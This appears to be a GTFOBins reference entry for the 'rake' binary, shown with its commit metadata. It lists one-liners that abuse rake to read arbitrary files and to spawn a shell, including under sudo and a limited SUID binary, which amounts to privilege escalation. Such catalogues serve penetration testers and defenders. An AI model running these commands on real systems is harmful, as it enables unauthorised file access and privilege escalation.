GTFOBins.github.io/_gtfobins/rake.md
LinuxSploit 0b196471f8
Add rake file-read
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2021-07-17 08:42:47 +02:00

15 lines
352 B
Markdown

---
functions:
file-read:
- description: The file is actually parsed and the first wrong line is returned in an error message.
code: |
LFILE=file-to-read
rake -f $LFILE
shell:
- code: rake -p '`/bin/sh 1>&0`'
sudo:
- code: sudo rake -p '`/bin/sh 1>&0`'
limited-suid:
- code: ./rake -p '`/bin/sh 1>&0`'
---